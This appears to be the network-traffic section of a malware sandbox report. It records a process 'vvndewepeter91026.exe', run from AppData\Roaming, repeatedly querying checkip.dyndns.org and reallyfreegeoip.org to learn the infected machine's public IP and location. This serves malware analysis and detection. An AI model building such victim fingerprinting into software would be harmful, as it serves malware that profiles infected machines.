Sep 26, 2024 07:47:20.416254044 CEST	1236	IN	Data Raw: 00 06 73 6d 00 00 0a 6f 99 00 00 0a 00 02 7b 38 00 00 04 17 6f 90 00 00 0a 00 02 7b 38 00 00 04 20 60 01 00 00 20 de 04 00 00 73 30 00 00 0a 6f 31 00 00 0a 00 02 7b 38 00 00 04 1c 16 1c 16 73 5e 00 00 0a 6f 8d 00 00 0a 00 02 7b 38 00 00 04 72 59 Data Ascii: smo{8o{8 ` s0o1{8s^o{8rYpo`{8 sYo{8o{8ripo3{9 < s0o1{9s^o{9C%sog{9r}po`{9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.22	49162	132.226.8.169	80	3616	C:\Users\user\AppData\Roaming\vvndewepeter91026.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 07:47:26.046339035 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Sep 26, 2024 07:47:27.507050991 CEST	272	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 05:47:27 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Sep 26, 2024 07:47:27.532164097 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Sep 26, 2024 07:47:27.915045977 CEST	272	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 05:47:27 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Sep 26, 2024 07:47:28.133984089 CEST	272	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 05:47:27 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Sep 26, 2024 07:47:30.296354055 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Sep 26, 2024 07:47:30.613368034 CEST	272	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 05:47:30 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Sep 26, 2024 07:47:30.825961113 CEST	272	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 05:47:30 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.22	49165	193.122.6.168	80	3616	C:\Users\user\AppData\Roaming\vvndewepeter91026.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 07:47:31.376486063 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Sep 26, 2024 07:47:32.016647100 CEST	320	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 05:47:31 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: f2b7de12d9c1c6fb0f9ee6e65847ce35 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.22	49167	158.101.44.242	80	3616	C:\Users\user\AppData\Roaming\vvndewepeter91026.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 07:47:32.716286898 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Sep 26, 2024 07:47:33.318691969 CEST	320	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 05:47:33 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: e0e86c00809d52cf9401875964973f6c Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.22	49169	193.122.130.0	80	3616	C:\Users\user\AppData\Roaming\vvndewepeter91026.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 07:47:34.108732939 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Sep 26, 2024 07:47:36.902781963 CEST	730	IN	HTTP/1.1 502 Bad Gateway Date: Thu, 26 Sep 2024 05:47:36 GMT Content-Type: text/html Content-Length: 547 Connection: keep-alive X-Request-ID: 7dc8b858a6e7e988bd9894f0a4541ab7 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 [TRUNCATED] Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><center><h1>502 Bad Gateway</h1></center><hr><center></center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Sep 26, 2024 07:47:36.928631067 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Sep 26, 2024 07:47:38.056256056 CEST	320	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 05:47:38 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 42b1484b806858b2999286d7b77cb276 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Sep 26, 2024 07:47:38.455374002 CEST	320	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 05:47:38 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 42b1484b806858b2999286d7b77cb276 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.22	49171	132.226.247.73	80	3616	C:\Users\user\AppData\Roaming\vvndewepeter91026.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 07:47:38.733093023 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Sep 26, 2024 07:47:39.400791883 CEST	320	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 05:47:39 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 595186ec89957bacc70277888b322a3e Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Sep 26, 2024 07:47:40.517016888 CEST	320	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 05:47:39 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 595186ec89957bacc70277888b322a3e Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Sep 26, 2024 07:47:40.517060041 CEST	320	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 05:47:39 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 595186ec89957bacc70277888b322a3e Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Sep 26, 2024 07:47:40.517472029 CEST	320	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 05:47:39 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 595186ec89957bacc70277888b322a3e Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.22	49173	193.122.6.168	80	3616	C:\Users\user\AppData\Roaming\vvndewepeter91026.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 07:47:40.716159105 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Sep 26, 2024 07:47:41.426959991 CEST	320	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 05:47:41 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 36c0ba1084d7495f3a8ecdf002a1820d Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.22	49175	193.122.130.0	80	3616	C:\Users\user\AppData\Roaming\vvndewepeter91026.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 07:47:42.379395962 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Sep 26, 2024 07:47:42.836105108 CEST	320	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 05:47:42 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 3847cef5376bab9e05f814d095deb179 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Sep 26, 2024 07:47:43.041966915 CEST	320	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 05:47:42 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 3847cef5376bab9e05f814d095deb179 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.22	49163	188.114.96.3	443	3616	C:\Users\user\AppData\Roaming\vvndewepeter91026.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 05:47:29 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-09-26 05:47:30 UTC	680	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 05:47:30 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 81709 Last-Modified: Wed, 25 Sep 2024 07:05:41 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1lgKGkPWSydkPC1VsapkH3AYsOCkmpGPxWRMIpViaebsanb579Z96nCw8ElkUnPhSK%2FdrzPnUugxJxogZysRmuGhXZu%2FBlU8bSbGxFIqEUg%2Ba78%2FBnQqdWxAHAxTpt62eZDXTp3%2F"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c90f5a9491e43c5-EWR
2024-09-26 05:47:30 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-09-26 05:47:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.22	49164	188.114.96.3	443	3616	C:\Users\user\AppData\Roaming\vvndewepeter91026.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 05:47:31 UTC	60	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org
2024-09-26 05:47:31 UTC	676	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 05:47:31 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 81710 Last-Modified: Wed, 25 Sep 2024 07:05:41 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PTeFNkR%2FS3sZt81BRDxml9zkXezNxgwuQlTqzunqybfglwd50fJRy4iNqEkN8WNvMGbQv8c7nhKA%2F7WcBWfLda3AkXqyCqqHu9qgzsa2Ihz0lu9GkX%2BiZrfJvOarol05Tt4k26Gp"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c90f5b058cb41ec-EWR
2024-09-26 05:47:31 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-09-26 05:47:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.22	49166	188.114.96.3	443	3616	C:\Users\user\AppData\Roaming\vvndewepeter91026.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 05:47:32 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-09-26 05:47:32 UTC	680	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 05:47:32 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 81711 Last-Modified: Wed, 25 Sep 2024 07:05:41 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6soq7OZyKT6g%2Fu5%2BeH0C7YarsHo0agRHXkemCAtsL7z%2FDzcqvWcNT5MbWAqEica0yhp0VyQwvApHJJNd%2F9pt75DYLZmZWuVlzXw60%2FNoIajjPD1X2V7ApvmMRLS8m74UXame7NfA"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c90f5b8a8051982-EWR
2024-09-26 05:47:32 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-09-26 05:47:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.22	49168	188.114.97.3	443	3616	C:\Users\user\AppData\Roaming\vvndewepeter91026.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 05:47:33 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
